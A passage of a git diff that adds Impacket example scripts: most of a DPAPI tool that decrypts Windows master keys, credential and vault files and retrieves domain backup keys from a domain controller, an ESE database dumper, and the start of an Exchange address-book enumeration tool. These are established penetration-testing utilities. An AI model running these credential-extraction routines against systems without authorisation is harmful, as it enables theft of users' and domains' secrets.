+                    print('Decrypted Backup key with MachineKey')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+            elif self.options.system and self.options.security:
+                # Use SID + hash
+                # We have hives, let's try to decrypt with them
+                self.getLSA()
+                key1, key2 = self.deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey'])
+                decryptedKey = mk.decrypt(key1)
+                if decryptedKey:
+                    print('Decrypted key with UserKey + SID')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+                decryptedKey = bkmk.decrypt(key1)
+                if decryptedKey:
+                    print('Decrypted Backup key with UserKey + SID')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+                decryptedKey = mk.decrypt(key2)
+                if decryptedKey:
+                    print('Decrypted key with UserKey + SID')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+                decryptedKey = bkmk.decrypt(key2)
+                if decryptedKey:
+                    print('Decrypted Backup key with UserKey + SID')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+            elif self.options.key and self.options.sid:
+                key = unhexlify(self.options.key[2:])
+                key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key)
+                decryptedKey = mk.decrypt(key1)
+                if decryptedKey:
+                    print('Decrypted key with key provided + SID')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+                decryptedKey = mk.decrypt(key2)
+                if decryptedKey:
+                    print('Decrypted key with key provided + SID')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+            elif self.options.key:
+                key = unhexlify(self.options.key[2:])
+                decryptedKey = mk.decrypt(key)
+                if decryptedKey:
+                    print('Decrypted key with key provided')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+
+            elif self.options.pvk and dk:
+                pvkfile = open(self.options.pvk, 'rb').read()
+                key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
+                private = privatekeyblob_to_pkcs1(key)
+                cipher = PKCS1_v1_5.new(private)
+
+                decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
+                if decryptedKey:
+                    domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey)
+                    key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']]
+                    print('Decrypted key with domain backup key provided')
+                    print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1'))
+                return
+
+            elif self.options.sid and self.options.key is None:
+                # Do we have a password?
+                if self.options.password is None:
+                    # Nope let's ask it
+                    from getpass import getpass
+                    password = getpass("Password:")
+                else:
+                    password = options.password
+                key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password)
+
+                # if mkf['flags'] & 4 ? SHA1 : MD4
+                decryptedKey = mk.decrypt(key3)
+                if decryptedKey:
+                    print('Decrypted key with User Key (MD4 protected)')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+
+                decryptedKey = mk.decrypt(key2)
+                if decryptedKey:
+                    print('Decrypted key with User Key (MD4)')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+
+                decryptedKey = mk.decrypt(key1)
+                if decryptedKey:
+                    print('Decrypted key with User Key (SHA1)')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+
+                decryptedKey = bkmk.decrypt(key3)
+                if decryptedKey:
+                    print('Decrypted Backup key with User Key (MD4 protected)')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+
+                decryptedKey = bkmk.decrypt(key2)
+                if decryptedKey:
+                    print('Decrypted Backup key with User Key (MD4)')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+
+                decryptedKey = bkmk.decrypt(key1)
+                if decryptedKey:
+                    print('Decrypted Backup key with User Key (SHA1)')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+
+            elif self.options.target is not None:
+                domain, username, password, remoteName = parse_target(self.options.target)
+
+                if domain is None:
+                    domain = ''
+
+                if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None:
+                    from getpass import getpass
+                    password = getpass("Password:")
+
+                if self.options.hashes is not None:
+                    lmhash, nthash = self.options.hashes.split(':')
+                else:
+                    lmhash, nthash = '',''
+
+                rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\protected_storage]' % remoteName)
+
+                if hasattr(rpctransport, 'set_credentials'):
+                    # This method exists only for selected protocol sequences.
+                    rpctransport.set_credentials(username, password, domain, lmhash, nthash, self.options.aesKey)
+                
+                rpctransport.set_kerberos(self.options.k, self.options.dc_ip)
+                
+                dce = rpctransport.get_dce_rpc()
+                dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+                if self.options.k is True:
+                    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+                dce.connect()
+                dce.bind(bkrp.MSRPC_UUID_BKRP, transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))
+                
+                request = bkrp.BackuprKey()
+                request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID
+                request['pDataIn'] = dk.getData()
+                request['cbDataIn'] = len(dk.getData())
+                request['dwParam'] = 0
+
+                resp = dce.request(request)
+                
+                ## Stripping heading zeros resulting from asymetric decryption
+                beginning=0
+                for i in range(len(resp['ppDataOut'])):
+                    if resp['ppDataOut'][i]==b'\x00':
+                        beginning+=1
+                    else:
+                        break
+                masterkey=b''.join(resp['ppDataOut'][beginning:])
+                print('Decrypted key using rpc call')
+                print('Decrypted key: 0x%s' % hexlify(masterkey[beginning:]).decode())
+                return
+
+            else:
+                # Just print key's data
+                if mkf['MasterKeyLen'] > 0:
+                    mk.dump()
+
+                if mkf['BackupKeyLen'] > 0:
+                    bkmk.dump()
+
+                if mkf['CredHistLen'] > 0:
+                    ch.dump()
+
+                if mkf['DomainKeyLen'] > 0:
+                    dk.dump()
+
+        # credit to @gentilkiwi
+        elif self.options.action.upper() == 'BACKUPKEYS':
+            domain, username, password, address = parse_target(self.options.target)
+
+            if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None:
+                from getpass import getpass
+                password = getpass ("Password:")
+            if self.options.hashes is not None:
+                lmhash, nthash = self.options.hashes.split(':')
+            else:
+                lmhash, nthash = '',''
+            connection = SMBConnection(address, address)
+            if self.options.k:
+                connection.kerberosLogin(username, password, domain, lmhash, nthash, self.options.aesKey)
+            else:
+                connection.login(username, password, domain, lmhash=lmhash, nthash=nthash)
+
+            rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\lsarpc]')
+            rpctransport.set_smb_connection(connection)
+            dce = rpctransport.get_dce_rpc()
+            if self.options.k:
+                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+            try:
+                dce.connect()
+                dce.bind(lsad.MSRPC_UUID_LSAD)
+            except transport.DCERPCException as e:
+                raise e
+
+            resp = lsad.hLsarOpenPolicy2(dce, lsad.POLICY_GET_PRIVATE_INFORMATION)
+            for keyname in ("G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
+                buffer = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce,
+                                              resp['PolicyHandle'], keyname))
+                guid = bin_to_string(buffer)
+                name = "G$BCKUPKEY_{}".format(guid)
+                secret = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce,
+                                              resp['PolicyHandle'], name))
+                keyVersion = struct.unpack('<L', secret[:4])[0]
+                if keyVersion == 1:  # legacy key
+                    backup_key = P_BACKUP_KEY(secret)
+                    backupkey = backup_key['Data']
+                    if self.options.export:
+                        logging.debug("Exporting key to file {}".format(name + ".key"))
+                        open(name + ".key", 'wb').write(backupkey)
+                    else:
+                        print("Legacy key:")
+                        print("0x%s" % hexlify(backupkey).decode('latin-1'))
+                        print("\n")
+
+                elif keyVersion == 2:  # preferred key
+                    backup_key = PREFERRED_BACKUP_KEY(secret)
+                    pvk = backup_key['Data'][:backup_key['KeyLength']]
+                    cert = backup_key['Data'][backup_key['KeyLength']:backup_key['KeyLength'] + backup_key['CertificateLength']]
+
+                    # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
+                    header = PVK_FILE_HDR()
+                    header['dwMagic'] = 0xb0b5f11e
+                    header['dwVersion'] = 0
+                    header['dwKeySpec'] = 1
+                    header['dwEncryptType'] = 0
+                    header['cbEncryptData'] = 0
+                    header['cbPvk'] = backup_key['KeyLength']
+                    backupkey_pvk = header.getData() + pvk  # pvk blob
+
+                    backupkey = backupkey_pvk
+                    if self.options.export:
+                        logging.debug("Exporting certificate to file {}".format(name + ".der"))
+                        open(name + ".der", 'wb').write(cert)
+                        logging.debug("Exporting private key to file {}".format(name + ".pvk"))
+                        open(name + ".pvk", 'wb').write(backupkey)
+                    else:
+                        print("Preferred key:")
+                        header.dump()
+                        print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey).decode('latin-1')))
+                        print("\n")
+            return
+
+
+        elif self.options.action.upper() == 'CREDENTIAL':
+            fp = open(options.file, 'rb')
+            data = fp.read()
+            cred = CredentialFile(data)
+            blob = DPAPI_BLOB(cred['Data'])
+
+            if self.options.key is not None:
+                key = unhexlify(self.options.key[2:])
+                decrypted = blob.decrypt(key)
+                if decrypted is not None:
+                    creds = CREDENTIAL_BLOB(decrypted)
+                    creds.dump()
+                    return
+            else:
+                # Just print the data
+                blob.dump()
+
+        elif self.options.action.upper() == 'VAULT':
+            if options.vcrd is None and options.vpol is None:
+                print('You must specify either -vcrd or -vpol parameter. Type --help for more info')
+                return
+            if options.vcrd is not None:
+                fp = open(options.vcrd, 'rb')
+                data = fp.read()
+                blob = VAULT_VCRD(data)
+
+                if self.options.key is not None:
+                    key = unhexlify(self.options.key[2:])
+
+                    cleartext = None
+                    for i, entry in enumerate(blob.attributesLen):
+                        if entry > 28:
+                            attribute = blob.attributes[i]
+                            if 'IV' in attribute.fields and len(attribute['IV']) == 16:
+                                cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV'])
+                            else:
+                                cipher = AES.new(key, AES.MODE_CBC)
+                            cleartext = cipher.decrypt(attribute['Data'])
+
+                    if cleartext is not None:
+                        # Lookup schema Friendly Name and print if we find one
+                        if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
+                            # Found one. Cast it and print
+                            vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext)
+                            vault.dump()
+                        else:
+                            # otherwise
+                            hexdump(cleartext)
+                        return
+                else:
+                    blob.dump()
+
+            elif options.vpol is not None:
+                fp = open(options.vpol, 'rb')
+                data = fp.read()
+                vpol = VAULT_VPOL(data)
+                vpol.dump()
+
+                if self.options.key is not None:
+                    key = unhexlify(self.options.key[2:])
+                    blob = vpol['Blob']
+                    data = blob.decrypt(key)
+                    if data is not None:
+                        keys = VAULT_VPOL_KEYS(data)
+                        keys.dump()
+                        return
+        elif self.options.action.upper() == 'UNPROTECT':
+            fp = open(options.file, 'rb')
+            data = fp.read()
+            blob = DPAPI_BLOB(data)
+
+            if self.options.key is not None:
+                key = unhexlify(self.options.key[2:])
+                if self.options.entropy_file is not None:
+                    fp2 = open(self.options.entropy_file, 'rb')
+                    entropy = fp2.read()
+                    fp2.close()
+                elif self.options.entropy is not None:
+                    entropy = b(self.options.entropy)
+                else:
+                    entropy = None
+
+                decrypted = blob.decrypt(key, entropy)
+                if decrypted is not None:
+                    print('Successfully decrypted data')
+                    hexdump(decrypted)
+                    return
+            else:
+                # Just print the data
+                blob.dump()
+
+        print('Cannot decrypt (specify -key or -sid whenever applicable) ')
+
+
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Example for using the DPAPI/Vault structures to unlock Windows Secrets.")
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    subparsers = parser.add_subparsers(help='actions', dest='action')
+
+    # A domain backup key command
+    backupkeys = subparsers.add_parser('backupkeys', help='domain backup key related functions')
+    backupkeys.add_argument('-t', '--target', action='store', required=True, help='[[domain/]username[:password]@]<targetName or address>')
+    backupkeys.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    backupkeys.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    backupkeys.add_argument('-k', action="store_true", required=False, help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    backupkeys.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    backupkeys.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
+                       'If omitted it will use the domain part (FQDN) specified in the target parameter')
+    backupkeys.add_argument('--export', action='store_true', required=False, help='export keys to file')
+
+    # A masterkey command
+    masterkey = subparsers.add_parser('masterkey', help='masterkey related functions')
+    masterkey.add_argument('-file', action='store', required=True, help='Master Key File to parse')
+    masterkey.add_argument('-sid', action='store', help='SID of the user')
+    masterkey.add_argument('-pvk', action='store', help='Domain backup privatekey to use for decryption')
+    masterkey.add_argument('-key', action='store', help='Specific key to use for decryption')
+    masterkey.add_argument('-password', action='store', help='User\'s password. If you specified the SID and not the password it will be prompted')
+    masterkey.add_argument('-system', action='store', help='SYSTEM hive to parse')
+    masterkey.add_argument('-security', action='store', help='SECURITY hive to parse')
+    masterkey.add_argument('-t', '--target', action='store', help='The masterkey owner\'s credentails to ask the DC for decryption'
+                                                                  'Format: [[domain/]username[:password]@]<targetName or address>')
+    masterkey.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    masterkey.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    masterkey.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    masterkey.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    masterkey.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
+                       'If omitted it will use the domain part (FQDN) specified in the target parameter')
+
+    # A credential command
+    credential = subparsers.add_parser('credential', help='credential related functions')
+    credential.add_argument('-file', action='store', required=True, help='Credential file')
+    credential.add_argument('-key', action='store', required=False, help='Key used for decryption')
+
+    # A vault command
+    vault = subparsers.add_parser('vault', help='vault credential related functions')
+    vault.add_argument('-vcrd', action='store', required=False, help='Vault Credential file')
+    vault.add_argument('-vpol', action='store', required=False, help='Vault Policy file')
+    vault.add_argument('-key', action='store', required=False, help='Master key used for decryption')
+
+    # A CryptUnprotectData command
+    unprotect = subparsers.add_parser('unprotect', help='Provides CryptUnprotectData functionality')
+    unprotect.add_argument('-file', action='store', required=True, help='File with DATA_BLOB to decrypt')
+    unprotect.add_argument('-key', action='store', required=False, help='Key used for decryption')
+    unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for decryption')
+    unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)')
+
+    options = parser.parse_args()
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+
+    try:
+        executer = DPAPI(options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        print('ERROR: %s' % str(e))
diff --git a/examples/esentutl.py b/examples/esentutl.py
new file mode 100644
index 0000000..353d601
--- /dev/null
+++ b/examples/esentutl.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   ESE utility. Allows dumping catalog, pages and tables.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   Extensive Storage Engine (ese)
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import logging
+import argparse
+
+from impacket.examples import logger
+from impacket import version
+from impacket.ese import ESENT_DB
+
+
+def dumpPage(ese, pageNum):
+    data = ese.getPage(pageNum)
+    data.dump()
+
+def exportTable(ese, tableName):
+    cursor = ese.openTable(tableName)
+    if cursor is None:
+        logging.error('Can"t get a cursor for table: %s' % tableName)
+        return
+
+    i = 1
+    print("Table: %s" % tableName)
+    while True:
+        try:
+            record = ese.getNextRow(cursor)
+        except Exception:
+            logging.debug('Exception:', exc_info=True)
+            logging.error('Error while calling getNextRow(), trying the next one')
+            continue
+
+        if record is None:
+            break
+        print("*** %d" % i)
+        for j in list(record.keys()):
+           if record[j] is not None:
+               print("%-30s: %r" % (j, record[j]))
+        i += 1
+
+def main():
+    print(version.BANNER)
+    # Init the example's logger theme
+    logger.init()
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping "
+                                                                    "catalog, pages and tables.")
+    parser.add_argument('databaseFile', action='store', help='ESE to open')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-page', action='store', help='page to open')
+
+    subparsers = parser.add_subparsers(help='actions', dest='action')
+
+    # dump page
+    dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
+    dump_parser.add_argument('-page', action='store', required=True, help='page to dump')
+
+    # info page
+    subparsers.add_parser('info', help='dumps the catalog info for the DB')
+
+    # export page
+    export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')
+    export_parser.add_argument('-table', action='store', required=True, help='table to dump')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    ese = ESENT_DB(options.databaseFile)
+
+    try:
+        if options.action.upper() == 'INFO':
+            ese.printCatalog()
+        elif options.action.upper() == 'DUMP':
+            dumpPage(ese, int(options.page))
+        elif options.action.upper() == 'EXPORT':
+            exportTable(ese, options.table)
+        else:
+            raise Exception('Unknown action %s ' % options.action)
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        print(e)
+    ese.close()
+
+
+if __name__ == '__main__':
+    main()
+    sys.exit(1)
diff --git a/examples/exchanger.py b/examples/exchanger.py
new file mode 100644
index 0000000..7c51a69
--- /dev/null
+++ b/examples/exchanger.py
@@ -0,0 +1,1080 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A tool for connecting to MS Exchange via RPC over HTTP v2
+#
+#   Notes about -rpc-hostname:
+#     Our RPC over HTTP v2 implementation tries to extract the
+#     target's NetBIOS name via NTLMSSP and use it as RPC Server name.
+#     If it fails, you have to manually get the target RPC Server name
+#     from the Autodiscover service and set it in the -rpc-hostname parameter.
+#
+# Author:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+# References:
+#   - https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
+#
+
+from __future__ import print_function
+import base64
+import codecs
+import logging
+import argparse
+import binascii
+import sys
+from six import PY3
+
+from impacket import uuid, version
+from impacket.http import AUTH_BASIC
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.structure import parse_bitmask
+from impacket.dcerpc.v5 import transport, nspi
+from impacket.mapi_constants import PR_CONTAINER_FLAGS_VALUES, MAPI_PROPERTIES
+from impacket.dcerpc.v5.nspi import CP_TELETEX, ExchBinaryObject, \
+    get_guid_from_dn, get_dn_from_guid
+from impacket.dcerpc.v5.rpch import RPC_PROXY_REMOTE_NAME_NEEDED_ERR, \
+    RPC_PROXY_HTTP_IN_DATA_401_ERR, RPC_PROXY_CONN_A1_0X6BA_ERR, \
+    RPC_PROXY_CONN_A1_404_ERR, RPC_PROXY_RPC_OUT_DATA_404_ERR, \
+    RPC_PROXY_CONN_A1_401_ERR
+
+PY37ORHIGHER = sys.version_info >= (3, 7)
+PR_CONTAINER_FLAGS       = 0x36000003
+PR_ENTRYID               = 0x0fff0102
+PR_DEPTH                 = 0x30050003
+PR_EMS_AB_IS_MASTER      = 0xfffb000B
+PR_EMS_AB_CONTAINERID    = 0xfffd0003
+PR_EMS_AB_PARENT_ENTRYID = 0xfffc0102
+PR_DISPLAY_NAME          = 0x3001001F
+PR_EMS_AB_OBJECT_GUID    = 0x8c6d0102
+PR_INSTANCE_KEY          = 0x0ff60102
+
+DELIMITER = "======================="
+
+class Exchanger:
+    def __init__(self):
+        self._username = ''
+        self._password = ''
+        self._domain = ''
+        self._lmhash = ''
+        self._nthash = ''
+
+        self._extended_output = False
+        self._output_type = 'hex'
+
+        self._stringbinding = None
+        self._rpctransport = None
+
+        self.__outputFileName = None
+        self.__outputFd = None
+
+    def conenct_mapi(self):
+        raise NotImplementedError('Virtual method. Not implemented in subclass!')
+
+    def connect_rpc(self):
+        raise NotImplementedError('Virtual method. Not implemented in subclass!')
+
+    def load_autodiscover(self):
+        # This should be implemented only as optional,
+        # and the implementation should support processing emails
+        # which do not belong to the used for the authentication account
+        raise NotImplementedError('Not Implemented!')
+
+    def set_credentials(self, username='', password='', domain='', hashes=None):
+        self._username = username
+        self._password = password
+        self._domain = domain
+        self._lmhash = ''
+        self._nthash = ''
+
+        if hashes is not None:
+            self._lmhash, self._nthash = hashes.split(':')
+
+    def set_extended_output(self, output_mode):
+        self._extended_output = output_mode
+
+    def set_output_type(self, output_type):
+        self._output_type = output_type
+
+    def set_output_file(self, filename):
+        self.__outputFileName = filename
+        self.__outputFd = open(self.__outputFileName, 'w+')
+
+    def print(self, text):
+        if self.__outputFd != None:
+            if PY3:
+                self.__outputFd.write(text + '\n')
+            else:
+                self.__outputFd.write((text + '\n').encode('utf-8'))
+        print(text)
+
+    def _encode_binary(self, bytestr):
+        if PY3 and self._output_type == "hex":
+            return "0x%s" % str(binascii.hexlify(bytestr), 'ascii')
+        elif self._output_type == "hex":
+            return "0x%s" % binascii.hexlify(bytestr)
+        elif PY3:
+            return str(base64.b64encode(bytestr), 'ascii')
+        else:
+            return base64.b64encode(bytestr)
+
+    def __del__(self):
+        if self.__outputFd != None:
+            self.__outputFd.close()
+        self.__outputFd = None
+
+class NSPIAttacks(Exchanger):
+    PROPS_GUID = [PR_EMS_AB_OBJECT_GUID]
+
+    PROPS_MINUMAL = [
+            0x3a00001F, # mailNickname
+            0x39fe001F, # mail
+            0x80270102, # objectSID
+            0x30070040, # whenCreated
+            0x30080040, # whenChanged
+            0x8c6d0102, # objectGUID
+        ]
+
+    PROPS_EXTENDED = PROPS_MINUMAL + [
+            # Names
+            0x3a0f001f, # cn
+            0x8202001f, # name
+            0x0fff0102, # PR_ENTRYID
+            0x3001001f, # PR_DISPLAY_NAME
+            0x3a20001f, # PR_TRANSMITABLE_DISPLAY_NAME
+            0x39ff001f, # displayNamePrintable
+            0x800f101f, # proxyAddresses
+            0x8171001f, # lDAPDisplayName
+            0x8102101f, # ou
+            0x804b001F, # adminDisplayName
+
+            # Text Properties
+            0x806f101f, # description
+            0x3004001f, # info
+            0x8069001f, # c
+            0x3a26001f, # co
+            0x3a2a001f, # postalCode
+            0x3a28001f, # st
+            0x3a29001f, # streetAddress
+            0x3a09001f, # homePhone
+            0x3a1c001f, # mobile
+            0x3a1b101f, # otherTelephone
+            0x3a16001f, # company
+            0x3a18001f, # department
+            0x3a17001f, # title
+            0x3a11001f, # sn
+            0x3a0a001f, # initials
+            0x3a06001f, # givenName
+
+            # Attributes of Types
+            0x0ffe0003, # PR_OBJECT_TYPE
+            0x39000003, # PR_DISPLAY_TYPE
+            0x80bd0003, # instanceType
+
+            # Exchange Extension Attributes
+            0x802d001F, # extensionAttribute1
+            0x802e001F, # extensionAttribute2
+            0x802f001F, # extensionAttribute3
+            0x8030001F, # extensionAttribute4
+            0x8031001F, # extensionAttribute5
+            0x8032001F, # extensionAttribute6
+            0x8033001F, # extensionAttribute7
+            0x8034001F, # extensionAttribute8
+            0x8035001F, # extensionAttribute9
+            0x8036001F, # extensionAttribute10
+            0x8c57001F, # extensionAttribute11
+            0x8c58001F, # extensionAttribute12
+            0x8c59001F, # extensionAttribute13
+            0x8c60001F, # extensionAttribute14
+            0x8c61001F, # extensionAttribute15
+
+            # 0x8c9e0102, # thumbnailPhoto, large
+
+            # Configuration
+            0x81b6101e, # protocolSettings
+            0x8c9f001e, # msExchUserCulture
+            0x8c730102, # msExchMailboxGuid
+            0x8c96101e, # msExchResourceAddressLists, exists only for Exchange Organization object
+            0x8c750102, # msExchMasterAccountSid
+            0x8cb5000b, # msExchEnableModeration
+            0x8cb30003, # msExchGroupJoinRestriction
+            0x8ce20003, # msExchGroupMemberCount
+
+            # Useful when lookuping DNTs
+            0x813b101e, # subRefs
+            0x8170101e, # networkAddress
+            0x8011001e, # targetAddress
+            0x8175101e, # url
+
+            # Useful for distinguishing accounts
+            0x8c6a1102, # userCertificate
+
+            # Assigned MId
+            0x0ff60102, # PR_INSTANCE_KEY
+    ]
+
+    # MS-OXNSPI
+    # 2.1 Transport
+    # For the network protocol sequence RPC over HTTPS,
+    # this protocol MUST use the well-known endpoint 6004.
+    DEFAULT_STRING_BINDING = 'ncacn_http:%s[6004,RpcProxy=%s:443]'
+
+    def __init__(self):
+        Exchanger.__init__(self)
+
+        self.__handler = None
+
+        self.htable = {}
+        self.anyExistingContainerID = -1
+
+        self.props = list()
+        self.stat = nspi.STAT()
+        self.stat['CodePage'] = nspi.CP_TELETEX
+
+    def connect_rpc(self, remoteName, rpcHostname=''):
+        self._stringbinding = self.DEFAULT_STRING_BINDING % (rpcHostname, remoteName)
+        logging.debug('StringBinding %s' % self._stringbinding)
+
+        self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding)
+        self._rpctransport.set_credentials(self._username, self._password, self._domain,
+                                           self._lmhash, self._nthash)
+
+        self.__dce = self._rpctransport.get_dce_rpc()
+
+        # MS-OXNSPI
+        # 3.1.4 Message Processing Events and Sequencing Rules
+        #
+        # This protocol MUST indicate to the RPC runtime that it
+        # is to perform a strict Network Data Representation (NDR) data
+        # consistency check at target level 6.0, as specified in [MS-RPCE].
+        self.__dce.set_credentials(self._username, self._password, self._domain,
+                                   self._lmhash, self._nthash)
+        self.__dce.set_auth_level(6)
+
+        self.__dce.connect()
+        self.__dce.bind(nspi.MSRPC_UUID_NSPI)
+
+        resp = nspi.hNspiBind(self.__dce, self.stat)
+        self.__handler = resp['contextHandle']
+
+    def update_stat(self, table_MId):
+        stat = nspi.STAT()
+        stat['CodePage'] = CP_TELETEX
+        stat['ContainerID'] = NSPIAttacks._int_to_dword(table_MId)
+
+        resp = nspi.hNspiUpdateStat(self.__dce, self.__handler, stat)
+        self.stat = resp['pStat']
+
+    def load_htable(self):
+        resp = nspi.hNspiGetSpecialTable(self.__dce, self.__handler)
+        resp_simpl = nspi.simplifyPropertyRowSet(resp['ppRows'])
+
+        self._parse_and_set_htable(resp_simpl)
+
+    def load_htable_stat(self):
+        for MId in self.htable:
+            self.update_stat(MId)
+            self.htable[MId]['count'] = self.stat['TotalRecs']
+            self.htable[MId]['start_mid'] = self.stat['CurrentRec']
+
+    def load_htable_containerid(self):
+        if self.anyExistingContainerID != -1:
+            return
+
+        if self.htable == {}:
+            self.load_htable()
+
+        for MId in self.htable:
+            self.update_stat(MId)
+
+            if self.stat['CurrentRec'] > 0:
+                self.anyExistingContainerID = NSPIAttacks._int_to_dword(MId)
+                return
+
+    def _parse_and_set_htable(self, htable):
+        self.htable = {}
+
+        for ab in htable:
+            MId = ab[PR_EMS_AB_CONTAINERID]
+
+            self.htable[MId] = {}
+            self.htable[MId]['flags'] = ab[PR_CONTAINER_FLAGS]
+
+            if MId == 0:
+                self.htable[0]['name'] = "Default Global Address List"
+            else:
+                self.htable[MId]['name'] = ab[PR_DISPLAY_NAME]
+                self.htable[MId]['guid'] = get_guid_from_dn(ab[PR_ENTRYID])
+
+            if PR_EMS_AB_PARENT_ENTRYID in ab:
+                self.htable[MId]['parent_guid'] = get_guid_from_dn(ab[PR_EMS_AB_PARENT_ENTRYID])
+
+            if PR_DEPTH in ab:
+                self.htable[MId]['depth'] = ab[PR_DEPTH]
+            else:
+                self.htable[MId]['depth'] = 0
+
+            if PR_EMS_AB_IS_MASTER in ab:
+                self.htable[MId]['is_master'] = ab[PR_EMS_AB_IS_MASTER]
+            else:
+                self.htable[MId]['is_master'] = 0
+
+    @staticmethod
+    def _int_to_dword(number):
